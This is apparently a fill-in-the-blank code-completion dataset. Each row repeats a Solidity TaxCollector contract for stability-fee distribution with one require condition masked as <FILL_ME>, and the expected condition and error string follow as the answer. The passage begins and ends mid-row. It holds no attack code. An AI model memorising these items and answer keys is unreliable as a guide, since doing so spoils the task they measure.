// --- Tax Receiver Utils ---
/**
* @notice Get the secondary tax receiver list length
*/
function secondaryReceiversAmount() public view returns (uint256) {
}
/**
* @notice Get the collateralList length
*/
function collateralListLength() public view returns (uint256) {
}
/**
* @notice Check if a tax receiver is at a certain position in the list
*/
function isSecondaryReceiver(uint256 _receiver) public view returns (bool) {
}
// --- Tax (Stability Fee) Collection ---
/**
* @notice Collect tax from multiple collateral types at once
* @param start Index in collateralList from which to start looping and calculating the tax outcome
* @param end Index in collateralList at which we stop looping and calculating the tax outcome
*/
function taxMany(uint256 start, uint256 end) external {
}
/**
* @notice Collect tax from a single collateral type
* @param collateralType Collateral type to tax
*/
function taxSingle(bytes32 collateralType) public returns (uint256) {
}
/**
* @notice Split SF between all tax receivers
* @param collateralType Collateral type to distribute SF for
* @param deltaRate Difference between the last and the latest accumulate rates for the collateralType
*/
function splitTaxIncome(bytes32 collateralType, uint256 debtAmount, int256 deltaRate) internal {
}
/**
* @notice Give/withdraw SF from a tax receiver
* @param collateralType Collateral type to distribute SF for
* @param receiver Tax receiver address
* @param receiverListPosition Position of receiver in the secondaryReceiverList (if the receiver is secondary)
* @param debtAmount Total debt currently issued
* @param deltaRate Difference between the latest and the last accumulated rates for the collateralType
*/
function distributeTax(
bytes32 collateralType,
address receiver,
uint256 receiverListPosition,
uint256 debtAmount,
int256 deltaRate
) internal {
}
}
| addition(secondaryReceiversAmount(),ONE)<=maxSecondaryReceivers,"TaxCollector/exceeds-max-receiver-limit" | 72,832 | addition(secondaryReceiversAmount(),ONE)<=maxSecondaryReceivers |
"TaxCollector/tax-cut-exceeds-hundred" | // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.6.7;
import "../shared/LinkedList.sol";
abstract contract SAFEEngineLike {
function collateralTypes(bytes32) virtual public view returns (
uint256 debtAmount, // [wad]
uint256 accumulatedRate // [ray]
);
function updateAccumulatedRate(bytes32,address,int256) virtual external;
function coinBalance(address) virtual public view returns (uint256);
}
contract TaxCollector {
using LinkedList for LinkedList.List;
// --- Auth ---
mapping (address => uint256) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
}
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event InitializeCollateralType(bytes32 collateralType);
event ModifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
);
event ModifyParameters(bytes32 parameter, uint256 data);
event ModifyParameters(bytes32 parameter, address data);
event ModifyParameters(
bytes32 collateralType,
uint256 position,
uint256 val
);
event ModifyParameters(
bytes32 collateralType,
uint256 position,
uint256 taxPercentage,
address receiverAccount
);
event AddSecondaryReceiver(
bytes32 indexed collateralType,
uint256 secondaryReceiverNonce,
uint256 latestSecondaryReceiver,
uint256 secondaryReceiverAllotedTax,
uint256 secondaryReceiverRevenueSources
);
event ModifySecondaryReceiver(
bytes32 indexed collateralType,
uint256 secondaryReceiverNonce,
uint256 latestSecondaryReceiver,
uint256 secondaryReceiverAllotedTax,
uint256 secondaryReceiverRevenueSources
);
event CollectTax(bytes32 indexed collateralType, uint256 latestAccumulatedRate, int256 deltaRate);
event DistributeTax(bytes32 indexed collateralType, address indexed target, int256 taxCut);
// --- Data ---
struct CollateralType {
// Per second borrow rate for this specific collateral type
uint256 stabilityFee;
// When SF was last collected for this collateral type
uint256 updateTime;
}
// SF receiver
struct TaxReceiver {
// Whether this receiver can accept a negative rate (taking SF from it)
uint256 canTakeBackTax; // [bool]
// Percentage of SF allocated to this receiver
uint256 taxPercentage; // [ray%]
}
// Data about each collateral type
mapping (bytes32 => CollateralType) public collateralTypes;
// Percentage of each collateral's SF that goes to other addresses apart from the primary receiver
mapping (bytes32 => uint256) public secondaryReceiverAllotedTax; // [%ray]
// Whether an address is already used for a tax receiver
mapping (address => uint256) public usedSecondaryReceiver; // [bool]
// Address associated to each tax receiver index
mapping (uint256 => address) public secondaryReceiverAccounts;
// How many collateral types send SF to a specific tax receiver
mapping (address => uint256) public secondaryReceiverRevenueSources;
// Tax receiver data
mapping (bytes32 => mapping(uint256 => TaxReceiver)) public secondaryTaxReceivers;
// The address that always receives some SF
address public primaryTaxReceiver;
// Base stability fee charged to all collateral types
uint256 public globalStabilityFee; // [ray%]
// Number of secondary tax receivers ever added
uint256 public secondaryReceiverNonce;
// Max number of secondarytax receivers a collateral type can have
uint256 public maxSecondaryReceivers;
// Latest secondary tax receiver that still has at least one revenue source
uint256 public latestSecondaryReceiver;
// All collateral types
bytes32[] public collateralList;
// Linked list with tax receiver data
LinkedList.List internal secondaryReceiverList;
SAFEEngineLike public safeEngine;
// --- Init ---
constructor(address safeEngine_) public {
}
// --- Math ---
uint256 public constant RAY = 10 ** 27;
uint256 public constant WHOLE_TAX_CUT = 10 ** 29;
uint256 public constant ONE = 1;
int256 public constant INT256_MIN = -2**255;
function rpow(uint256 x, uint256 n, uint256 b) internal pure returns (uint256 z) {
}
function addition(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function addition(int256 x, int256 y) internal pure returns (int256 z) {
}
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function subtract(int256 x, int256 y) internal pure returns (int256 z) {
}
function deduct(uint256 x, uint256 y) internal pure returns (int256 z) {
}
function multiply(uint256 x, int256 y) internal pure returns (int256 z) {
}
function multiply(int256 x, int256 y) internal pure returns (int256 z) {
}
function rmultiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
// --- Boolean Logic ---
function both(bool x, bool y) internal pure returns (bool z) {
}
function either(bool x, bool y) internal pure returns (bool z) {
}
// --- Administration ---
/**
* @notice Initialize a brand new collateral type
* @param collateralType Collateral type name (e.g ETH-A, TBTC-B)
*/
function initializeCollateralType(bytes32 collateralType) external isAuthorized {
}
/**
* @notice Modify collateral specific uint256 params
* @param collateralType Collateral type who's parameter is modified
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
) external isAuthorized {
}
/**
* @notice Modify general uint256 params
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
}
/**
* @notice Modify general address params
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, address data) external isAuthorized {
}
/**
* @notice Set whether a tax receiver can incur negative fees
* @param collateralType Collateral type giving fees to the tax receiver
* @param position Receiver position in the list
* @param val Value that specifies whether a tax receiver can incur negative rates
*/
function modifyParameters(
bytes32 collateralType,
uint256 position,
uint256 val
) external isAuthorized {
}
/**
* @notice Create or modify a secondary tax receiver's data
* @param collateralType Collateral type that will give SF to the tax receiver
* @param position Receiver position in the list. Used to determine whether a new tax receiver is
created or an existing one is edited
* @param taxPercentage Percentage of SF offered to the tax receiver
* @param receiverAccount Receiver address
*/
function modifyParameters(
bytes32 collateralType,
uint256 position,
uint256 taxPercentage,
address receiverAccount
) external isAuthorized {
}
// --- Tax Receiver Utils ---
/**
* @notice Add a new secondary tax receiver
* @param collateralType Collateral type that will give SF to the tax receiver
* @param taxPercentage Percentage of SF offered to the tax receiver
* @param receiverAccount Tax receiver address
*/
function addSecondaryReceiver(bytes32 collateralType, uint256 taxPercentage, address receiverAccount) internal {
require(receiverAccount != address(0), "TaxCollector/null-account");
require(receiverAccount != primaryTaxReceiver, "TaxCollector/primary-receiver-cannot-be-secondary");
require(taxPercentage > 0, "TaxCollector/null-sf");
require(usedSecondaryReceiver[receiverAccount] == 0, "TaxCollector/account-already-used");
require(addition(secondaryReceiversAmount(), ONE) <= maxSecondaryReceivers, "TaxCollector/exceeds-max-receiver-limit");
require(<FILL_ME>)
secondaryReceiverNonce = addition(secondaryReceiverNonce, 1);
latestSecondaryReceiver = secondaryReceiverNonce;
usedSecondaryReceiver[receiverAccount] = ONE;
secondaryReceiverAllotedTax[collateralType] = addition(secondaryReceiverAllotedTax[collateralType], taxPercentage);
secondaryTaxReceivers[collateralType][latestSecondaryReceiver].taxPercentage = taxPercentage;
secondaryReceiverAccounts[latestSecondaryReceiver] = receiverAccount;
secondaryReceiverRevenueSources[receiverAccount] = ONE;
secondaryReceiverList.push(latestSecondaryReceiver, false);
emit AddSecondaryReceiver(
collateralType,
secondaryReceiverNonce,
latestSecondaryReceiver,
secondaryReceiverAllotedTax[collateralType],
secondaryReceiverRevenueSources[receiverAccount]
);
}
/**
* @notice Update a secondary tax receiver's data (add a new SF source or modify % of SF taken from a collateral type)
* @param collateralType Collateral type that will give SF to the tax receiver
* @param position Receiver's position in the tax receiver list
* @param taxPercentage Percentage of SF offered to the tax receiver (ray%)
*/
function modifySecondaryReceiver(bytes32 collateralType, uint256 position, uint256 taxPercentage) internal {
}
// --- Tax Collection Utils ---
/**
* @notice Check if multiple collateral types are up to date with taxation
*/
function collectedManyTax(uint256 start, uint256 end) public view returns (bool ok) {
}
/**
* @notice Check how much SF will be charged (to collateral types between indexes 'start' and 'end'
* in the collateralList) during the next taxation
* @param start Index in collateralList from which to start looping and calculating the tax outcome
* @param end Index in collateralList at which we stop looping and calculating the tax outcome
*/
function taxManyOutcome(uint256 start, uint256 end) public view returns (bool ok, int256 rad) {
}
/**
* @notice Get how much SF will be distributed after taxing a specific collateral type
* @param collateralType Collateral type to compute the taxation outcome for
* @return The newly accumulated rate as well as the delta between the new and the last accumulated rates
*/
function taxSingleOutcome(bytes32 collateralType) public view returns (uint256, int256) {
}
// --- Tax Receiver Utils ---
/**
* @notice Get the secondary tax receiver list length
*/
function secondaryReceiversAmount() public view returns (uint256) {
}
/**
* @notice Get the collateralList length
*/
function collateralListLength() public view returns (uint256) {
}
/**
* @notice Check if a tax receiver is at a certain position in the list
*/
function isSecondaryReceiver(uint256 _receiver) public view returns (bool) {
}
// --- Tax (Stability Fee) Collection ---
/**
* @notice Collect tax from multiple collateral types at once
* @param start Index in collateralList from which to start looping and calculating the tax outcome
* @param end Index in collateralList at which we stop looping and calculating the tax outcome
*/
function taxMany(uint256 start, uint256 end) external {
}
/**
* @notice Collect tax from a single collateral type
* @param collateralType Collateral type to tax
*/
function taxSingle(bytes32 collateralType) public returns (uint256) {
}
/**
* @notice Split SF between all tax receivers
* @param collateralType Collateral type to distribute SF for
* @param deltaRate Difference between the last and the latest accumulate rates for the collateralType
*/
function splitTaxIncome(bytes32 collateralType, uint256 debtAmount, int256 deltaRate) internal {
}
/**
* @notice Give/withdraw SF from a tax receiver
* @param collateralType Collateral type to distribute SF for
* @param receiver Tax receiver address
* @param receiverListPosition Position of receiver in the secondaryReceiverList (if the receiver is secondary)
* @param debtAmount Total debt currently issued
* @param deltaRate Difference between the latest and the last accumulated rates for the collateralType
*/
function distributeTax(
bytes32 collateralType,
address receiver,
uint256 receiverListPosition,
uint256 debtAmount,
int256 deltaRate
) internal {
}
}
| addition(secondaryReceiverAllotedTax[collateralType],taxPercentage)<WHOLE_TAX_CUT,"TaxCollector/tax-cut-exceeds-hundred" | 72,832 | addition(secondaryReceiverAllotedTax[collateralType],taxPercentage)<WHOLE_TAX_CUT |
"TaxCollector/invalid-indexes" | // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.6.7;
import "../shared/LinkedList.sol";
abstract contract SAFEEngineLike {
function collateralTypes(bytes32) virtual public view returns (
uint256 debtAmount, // [wad]
uint256 accumulatedRate // [ray]
);
function updateAccumulatedRate(bytes32,address,int256) virtual external;
function coinBalance(address) virtual public view returns (uint256);
}
contract TaxCollector {
using LinkedList for LinkedList.List;
// --- Auth ---
mapping (address => uint256) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
}
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event InitializeCollateralType(bytes32 collateralType);
event ModifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
);
event ModifyParameters(bytes32 parameter, uint256 data);
event ModifyParameters(bytes32 parameter, address data);
event ModifyParameters(
bytes32 collateralType,
uint256 position,
uint256 val
);
event ModifyParameters(
bytes32 collateralType,
uint256 position,
uint256 taxPercentage,
address receiverAccount
);
event AddSecondaryReceiver(
bytes32 indexed collateralType,
uint256 secondaryReceiverNonce,
uint256 latestSecondaryReceiver,
uint256 secondaryReceiverAllotedTax,
uint256 secondaryReceiverRevenueSources
);
event ModifySecondaryReceiver(
bytes32 indexed collateralType,
uint256 secondaryReceiverNonce,
uint256 latestSecondaryReceiver,
uint256 secondaryReceiverAllotedTax,
uint256 secondaryReceiverRevenueSources
);
event CollectTax(bytes32 indexed collateralType, uint256 latestAccumulatedRate, int256 deltaRate);
event DistributeTax(bytes32 indexed collateralType, address indexed target, int256 taxCut);
// --- Data ---
struct CollateralType {
// Per second borrow rate for this specific collateral type
uint256 stabilityFee;
// When SF was last collected for this collateral type
uint256 updateTime;
}
// SF receiver
struct TaxReceiver {
// Whether this receiver can accept a negative rate (taking SF from it)
uint256 canTakeBackTax; // [bool]
// Percentage of SF allocated to this receiver
uint256 taxPercentage; // [ray%]
}
// Data about each collateral type
mapping (bytes32 => CollateralType) public collateralTypes;
// Percentage of each collateral's SF that goes to other addresses apart from the primary receiver
mapping (bytes32 => uint256) public secondaryReceiverAllotedTax; // [%ray]
// Whether an address is already used for a tax receiver
mapping (address => uint256) public usedSecondaryReceiver; // [bool]
// Address associated to each tax receiver index
mapping (uint256 => address) public secondaryReceiverAccounts;
// How many collateral types send SF to a specific tax receiver
mapping (address => uint256) public secondaryReceiverRevenueSources;
// Tax receiver data
mapping (bytes32 => mapping(uint256 => TaxReceiver)) public secondaryTaxReceivers;
// The address that always receives some SF
address public primaryTaxReceiver;
// Base stability fee charged to all collateral types
uint256 public globalStabilityFee; // [ray%]
// Number of secondary tax receivers ever added
uint256 public secondaryReceiverNonce;
// Max number of secondarytax receivers a collateral type can have
uint256 public maxSecondaryReceivers;
// Latest secondary tax receiver that still has at least one revenue source
uint256 public latestSecondaryReceiver;
// All collateral types
bytes32[] public collateralList;
// Linked list with tax receiver data
LinkedList.List internal secondaryReceiverList;
SAFEEngineLike public safeEngine;
// --- Init ---
constructor(address safeEngine_) public {
}
// --- Math ---
uint256 public constant RAY = 10 ** 27;
uint256 public constant WHOLE_TAX_CUT = 10 ** 29;
uint256 public constant ONE = 1;
int256 public constant INT256_MIN = -2**255;
function rpow(uint256 x, uint256 n, uint256 b) internal pure returns (uint256 z) {
}
function addition(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function addition(int256 x, int256 y) internal pure returns (int256 z) {
}
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function subtract(int256 x, int256 y) internal pure returns (int256 z) {
}
function deduct(uint256 x, uint256 y) internal pure returns (int256 z) {
}
function multiply(uint256 x, int256 y) internal pure returns (int256 z) {
}
function multiply(int256 x, int256 y) internal pure returns (int256 z) {
}
function rmultiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
// --- Boolean Logic ---
function both(bool x, bool y) internal pure returns (bool z) {
}
function either(bool x, bool y) internal pure returns (bool z) {
}
// --- Administration ---
/**
* @notice Initialize a brand new collateral type
* @param collateralType Collateral type name (e.g ETH-A, TBTC-B)
*/
function initializeCollateralType(bytes32 collateralType) external isAuthorized {
}
/**
* @notice Modify collateral specific uint256 params
* @param collateralType Collateral type who's parameter is modified
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
) external isAuthorized {
}
/**
* @notice Modify general uint256 params
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
}
/**
* @notice Modify general address params
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, address data) external isAuthorized {
}
/**
* @notice Set whether a tax receiver can incur negative fees
* @param collateralType Collateral type giving fees to the tax receiver
* @param position Receiver position in the list
* @param val Value that specifies whether a tax receiver can incur negative rates
*/
function modifyParameters(
bytes32 collateralType,
uint256 position,
uint256 val
) external isAuthorized {
}
/**
* @notice Create or modify a secondary tax receiver's data
* @param collateralType Collateral type that will give SF to the tax receiver
* @param position Receiver position in the list. Used to determine whether a new tax receiver is
created or an existing one is edited
* @param taxPercentage Percentage of SF offered to the tax receiver
* @param receiverAccount Receiver address
*/
function modifyParameters(
bytes32 collateralType,
uint256 position,
uint256 taxPercentage,
address receiverAccount
) external isAuthorized {
}
// --- Tax Receiver Utils ---
/**
* @notice Add a new secondary tax receiver
* @param collateralType Collateral type that will give SF to the tax receiver
* @param taxPercentage Percentage of SF offered to the tax receiver
* @param receiverAccount Tax receiver address
*/
function addSecondaryReceiver(bytes32 collateralType, uint256 taxPercentage, address receiverAccount) internal {
}
/**
* @notice Update a secondary tax receiver's data (add a new SF source or modify % of SF taken from a collateral type)
* @param collateralType Collateral type that will give SF to the tax receiver
* @param position Receiver's position in the tax receiver list
* @param taxPercentage Percentage of SF offered to the tax receiver (ray%)
*/
function modifySecondaryReceiver(bytes32 collateralType, uint256 position, uint256 taxPercentage) internal {
}
// --- Tax Collection Utils ---
/**
* @notice Check if multiple collateral types are up to date with taxation
*/
function collectedManyTax(uint256 start, uint256 end) public view returns (bool ok) {
require(<FILL_ME>)
for (uint256 i = start; i <= end; i++) {
if (now > collateralTypes[collateralList[i]].updateTime) {
ok = false;
return ok;
}
}
ok = true;
}
/**
* @notice Check how much SF will be charged (to collateral types between indexes 'start' and 'end'
* in the collateralList) during the next taxation
* @param start Index in collateralList from which to start looping and calculating the tax outcome
* @param end Index in collateralList at which we stop looping and calculating the tax outcome
*/
function taxManyOutcome(uint256 start, uint256 end) public view returns (bool ok, int256 rad) {
}
/**
* @notice Get how much SF will be distributed after taxing a specific collateral type
* @param collateralType Collateral type to compute the taxation outcome for
* @return The newly accumulated rate as well as the delta between the new and the last accumulated rates
*/
function taxSingleOutcome(bytes32 collateralType) public view returns (uint256, int256) {
}
// --- Tax Receiver Utils ---
/**
* @notice Get the secondary tax receiver list length
*/
function secondaryReceiversAmount() public view returns (uint256) {
}
/**
* @notice Get the collateralList length
*/
function collateralListLength() public view returns (uint256) {
}
/**
* @notice Check if a tax receiver is at a certain position in the list
*/
function isSecondaryReceiver(uint256 _receiver) public view returns (bool) {
}
// --- Tax (Stability Fee) Collection ---
/**
* @notice Collect tax from multiple collateral types at once
* @param start Index in collateralList from which to start looping and calculating the tax outcome
* @param end Index in collateralList at which we stop looping and calculating the tax outcome
*/
function taxMany(uint256 start, uint256 end) external {
}
/**
* @notice Collect tax from a single collateral type
* @param collateralType Collateral type to tax
*/
function taxSingle(bytes32 collateralType) public returns (uint256) {
}
/**
* @notice Split SF between all tax receivers
* @param collateralType Collateral type to distribute SF for
* @param deltaRate Difference between the last and the latest accumulate rates for the collateralType
*/
function splitTaxIncome(bytes32 collateralType, uint256 debtAmount, int256 deltaRate) internal {
}
/**
* @notice Give/withdraw SF from a tax receiver
* @param collateralType Collateral type to distribute SF for
* @param receiver Tax receiver address
* @param receiverListPosition Position of receiver in the secondaryReceiverList (if the receiver is secondary)
* @param debtAmount Total debt currently issued
* @param deltaRate Difference between the latest and the last accumulated rates for the collateralType
*/
function distributeTax(
bytes32 collateralType,
address receiver,
uint256 receiverListPosition,
uint256 debtAmount,
int256 deltaRate
) internal {
}
}
| both(start<=end,end<collateralList.length),"TaxCollector/invalid-indexes" | 72,832 | both(start<=end,end<collateralList.length) |
"TaxCollector/coin-balance-does-not-fit-into-int256" | // This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.6.7;
import "../shared/LinkedList.sol";
abstract contract SAFEEngineLike {
function collateralTypes(bytes32) virtual public view returns (
uint256 debtAmount, // [wad]
uint256 accumulatedRate // [ray]
);
function updateAccumulatedRate(bytes32,address,int256) virtual external;
function coinBalance(address) virtual public view returns (uint256);
}
contract TaxCollector {
using LinkedList for LinkedList.List;
// --- Auth ---
mapping (address => uint256) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
}
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event InitializeCollateralType(bytes32 collateralType);
event ModifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
);
event ModifyParameters(bytes32 parameter, uint256 data);
event ModifyParameters(bytes32 parameter, address data);
event ModifyParameters(
bytes32 collateralType,
uint256 position,
uint256 val
);
event ModifyParameters(
bytes32 collateralType,
uint256 position,
uint256 taxPercentage,
address receiverAccount
);
event AddSecondaryReceiver(
bytes32 indexed collateralType,
uint256 secondaryReceiverNonce,
uint256 latestSecondaryReceiver,
uint256 secondaryReceiverAllotedTax,
uint256 secondaryReceiverRevenueSources
);
event ModifySecondaryReceiver(
bytes32 indexed collateralType,
uint256 secondaryReceiverNonce,
uint256 latestSecondaryReceiver,
uint256 secondaryReceiverAllotedTax,
uint256 secondaryReceiverRevenueSources
);
event CollectTax(bytes32 indexed collateralType, uint256 latestAccumulatedRate, int256 deltaRate);
event DistributeTax(bytes32 indexed collateralType, address indexed target, int256 taxCut);
// --- Data ---
struct CollateralType {
// Per second borrow rate for this specific collateral type
uint256 stabilityFee;
// When SF was last collected for this collateral type
uint256 updateTime;
}
// SF receiver
struct TaxReceiver {
// Whether this receiver can accept a negative rate (taking SF from it)
uint256 canTakeBackTax; // [bool]
// Percentage of SF allocated to this receiver
uint256 taxPercentage; // [ray%]
}
// Data about each collateral type
mapping (bytes32 => CollateralType) public collateralTypes;
// Percentage of each collateral's SF that goes to other addresses apart from the primary receiver
mapping (bytes32 => uint256) public secondaryReceiverAllotedTax; // [%ray]
// Whether an address is already used for a tax receiver
mapping (address => uint256) public usedSecondaryReceiver; // [bool]
// Address associated to each tax receiver index
mapping (uint256 => address) public secondaryReceiverAccounts;
// How many collateral types send SF to a specific tax receiver
mapping (address => uint256) public secondaryReceiverRevenueSources;
// Tax receiver data
mapping (bytes32 => mapping(uint256 => TaxReceiver)) public secondaryTaxReceivers;
// The address that always receives some SF
address public primaryTaxReceiver;
// Base stability fee charged to all collateral types
uint256 public globalStabilityFee; // [ray%]
// Number of secondary tax receivers ever added
uint256 public secondaryReceiverNonce;
// Max number of secondarytax receivers a collateral type can have
uint256 public maxSecondaryReceivers;
// Latest secondary tax receiver that still has at least one revenue source
uint256 public latestSecondaryReceiver;
// All collateral types
bytes32[] public collateralList;
// Linked list with tax receiver data
LinkedList.List internal secondaryReceiverList;
SAFEEngineLike public safeEngine;
// --- Init ---
constructor(address safeEngine_) public {
}
// --- Math ---
uint256 public constant RAY = 10 ** 27;
uint256 public constant WHOLE_TAX_CUT = 10 ** 29;
uint256 public constant ONE = 1;
int256 public constant INT256_MIN = -2**255;
function rpow(uint256 x, uint256 n, uint256 b) internal pure returns (uint256 z) {
}
function addition(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function addition(int256 x, int256 y) internal pure returns (int256 z) {
}
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function subtract(int256 x, int256 y) internal pure returns (int256 z) {
}
function deduct(uint256 x, uint256 y) internal pure returns (int256 z) {
}
function multiply(uint256 x, int256 y) internal pure returns (int256 z) {
}
function multiply(int256 x, int256 y) internal pure returns (int256 z) {
}
function rmultiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
// --- Boolean Logic ---
function both(bool x, bool y) internal pure returns (bool z) {
}
function either(bool x, bool y) internal pure returns (bool z) {
}
// --- Administration ---
/**
* @notice Initialize a brand new collateral type
* @param collateralType Collateral type name (e.g ETH-A, TBTC-B)
*/
function initializeCollateralType(bytes32 collateralType) external isAuthorized {
}
/**
* @notice Modify collateral specific uint256 params
* @param collateralType Collateral type who's parameter is modified
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
) external isAuthorized {
}
/**
* @notice Modify general uint256 params
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
}
/**
* @notice Modify general address params
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(bytes32 parameter, address data) external isAuthorized {
}
/**
* @notice Set whether a tax receiver can incur negative fees
* @param collateralType Collateral type giving fees to the tax receiver
* @param position Receiver position in the list
* @param val Value that specifies whether a tax receiver can incur negative rates
*/
function modifyParameters(
bytes32 collateralType,
uint256 position,
uint256 val
) external isAuthorized {
}
/**
* @notice Create or modify a secondary tax receiver's data
* @param collateralType Collateral type that will give SF to the tax receiver
* @param position Receiver position in the list. Used to determine whether a new tax receiver is
created or an existing one is edited
* @param taxPercentage Percentage of SF offered to the tax receiver
* @param receiverAccount Receiver address
*/
function modifyParameters(
bytes32 collateralType,
uint256 position,
uint256 taxPercentage,
address receiverAccount
) external isAuthorized {
}
// --- Tax Receiver Utils ---
/**
* @notice Add a new secondary tax receiver
* @param collateralType Collateral type that will give SF to the tax receiver
* @param taxPercentage Percentage of SF offered to the tax receiver
* @param receiverAccount Tax receiver address
*/
function addSecondaryReceiver(bytes32 collateralType, uint256 taxPercentage, address receiverAccount) internal {
}
/**
* @notice Update a secondary tax receiver's data (add a new SF source or modify % of SF taken from a collateral type)
* @param collateralType Collateral type that will give SF to the tax receiver
* @param position Receiver's position in the tax receiver list
* @param taxPercentage Percentage of SF offered to the tax receiver (ray%)
*/
function modifySecondaryReceiver(bytes32 collateralType, uint256 position, uint256 taxPercentage) internal {
}
// --- Tax Collection Utils ---
/**
* @notice Check if multiple collateral types are up to date with taxation
*/
function collectedManyTax(uint256 start, uint256 end) public view returns (bool ok) {
}
/**
* @notice Check how much SF will be charged (to collateral types between indexes 'start' and 'end'
* in the collateralList) during the next taxation
* @param start Index in collateralList from which to start looping and calculating the tax outcome
* @param end Index in collateralList at which we stop looping and calculating the tax outcome
*/
function taxManyOutcome(uint256 start, uint256 end) public view returns (bool ok, int256 rad) {
}
/**
* @notice Get how much SF will be distributed after taxing a specific collateral type
* @param collateralType Collateral type to compute the taxation outcome for
* @return The newly accumulated rate as well as the delta between the new and the last accumulated rates
*/
function taxSingleOutcome(bytes32 collateralType) public view returns (uint256, int256) {
}
// --- Tax Receiver Utils ---
/**
* @notice Get the secondary tax receiver list length
*/
function secondaryReceiversAmount() public view returns (uint256) {
}
/**
* @notice Get the collateralList length
*/
function collateralListLength() public view returns (uint256) {
}
/**
* @notice Check if a tax receiver is at a certain position in the list
*/
function isSecondaryReceiver(uint256 _receiver) public view returns (bool) {
}
// --- Tax (Stability Fee) Collection ---
/**
* @notice Collect tax from multiple collateral types at once
* @param start Index in collateralList from which to start looping and calculating the tax outcome
* @param end Index in collateralList at which we stop looping and calculating the tax outcome
*/
function taxMany(uint256 start, uint256 end) external {
}
/**
* @notice Collect tax from a single collateral type
* @param collateralType Collateral type to tax
*/
function taxSingle(bytes32 collateralType) public returns (uint256) {
}
/**
* @notice Split SF between all tax receivers
* @param collateralType Collateral type to distribute SF for
* @param deltaRate Difference between the last and the latest accumulate rates for the collateralType
*/
function splitTaxIncome(bytes32 collateralType, uint256 debtAmount, int256 deltaRate) internal {
}
/**
* @notice Give/withdraw SF from a tax receiver
* @param collateralType Collateral type to distribute SF for
* @param receiver Tax receiver address
* @param receiverListPosition Position of receiver in the secondaryReceiverList (if the receiver is secondary)
* @param debtAmount Total debt currently issued
* @param deltaRate Difference between the latest and the last accumulated rates for the collateralType
*/
function distributeTax(
bytes32 collateralType,
address receiver,
uint256 receiverListPosition,
uint256 debtAmount,
int256 deltaRate
) internal {
require(<FILL_ME>)
// Check how many coins the receiver has and negate the value
int256 coinBalance = -int256(safeEngine.coinBalance(receiver));
// Compute the % out of SF that should be allocated to the receiver
int256 currentTaxCut = (receiver == primaryTaxReceiver) ?
multiply(subtract(WHOLE_TAX_CUT, secondaryReceiverAllotedTax[collateralType]), deltaRate) / int256(WHOLE_TAX_CUT) :
multiply(int256(secondaryTaxReceivers[collateralType][receiverListPosition].taxPercentage), deltaRate) / int256(WHOLE_TAX_CUT);
